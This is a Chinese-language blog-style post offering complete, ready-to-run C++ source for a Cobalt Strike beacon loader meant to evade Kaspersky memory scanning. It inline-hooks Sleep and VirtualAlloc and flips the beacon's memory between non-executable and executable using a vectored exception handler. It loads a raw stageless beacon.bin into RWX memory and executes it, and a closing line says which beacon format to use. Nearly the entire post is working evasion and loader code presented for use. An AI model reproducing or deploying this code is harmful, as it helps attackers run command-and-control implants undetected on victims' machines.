前言

WBG大佬的的实现：cs bypass卡巴斯基内存查杀 跟风yansu大佬.pdf
yansu大佬的文章：记一次cs bypass卡巴斯基内存查杀

大佬们思路都骚的丫批，我就不献丑直接上代码了，原理和WBG大佬的一模一样，只不过自己实现了hook api，开箱即用

#include<windows.h>
#include<stdio.h>

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
    flAllocationType, DWORD flProtect) = VirtualAlloc;

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

LPVOID Beacon_address = NULL;
DWORD Beacon_data_len;
bool Vir_FLAG;

struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};

APIHeader Sleep_Header;
APIHeader VirtualAlloc_Header;
DWORD Beacon_Memory_address_flOldProtect;
BOOL IgnoreFirst = false;


HANDLE hEvent = CreateEvent(NULL, TRUE, false, NULL);
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{

    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    //printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}



BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码：jmp _dwNewAddress
    // 机器码位：e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址，即eip的值
    //        addr2 --> 跳转地址的值，即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) - (DWORD)OldFunction;
    printf("raw:%x offset:%x\n", NewFunction, dwOffset);
    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码：mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是：
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
typedef void(__stdcall* CODE) ();
void WINAPI NewSleep(DWORD dwMilliseconds)
{

    printf("sleep时间:%d\n", dwMilliseconds);
    UnhookApi("kernel32.dll", "Sleep", &Sleep_Header);
    if (Beacon_address) {
        VirtualFree(Beacon_address, Beacon_data_len, MEM_RELEASE);
    }
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
}
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect) {

    UnhookApi("kernel32.dll", "VirtualAlloc", &VirtualAlloc_Header);
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    //HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    printf("分配大小:%d\t", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);

    return Beacon_address;

}
DWORD ReadFileData(char* szFilePath, char* pBuf)
{
    DWORD dwBytesRead;
    HANDLE hFile;

    hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        CloseHandle(hFile);
        return 0;
    }

    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
    CloseHandle(hFile);
    return dwFileSize;
}
DWORD GetFileSizeLen(char* szSource)
{

    HANDLE hFile;

    hFile = CreateFileA(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL, "文件未找到！", NULL, NULL);
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        MessageBoxA(NULL, "文件长度为零！", NULL, NULL);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);
    return dwFileSize;
}

int main()
{

    AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0,
        NULL);

    char shelname[] = "beacon.bin";
    DWORD filelen = GetFileSizeLen(shelname);
    char* filebuf = new char[filelen];
    ReadFileData(shelname, filebuf);
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, filelen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, filebuf, filelen)))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
    HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    CODE code = (CODE)p;

    code();
    CloseHandle(hThread1);

}

根据wbg大佬的指点，beacon.bin必须是cs生成无阶段木马的raw，不能用分阶段或者直接生成shellcode。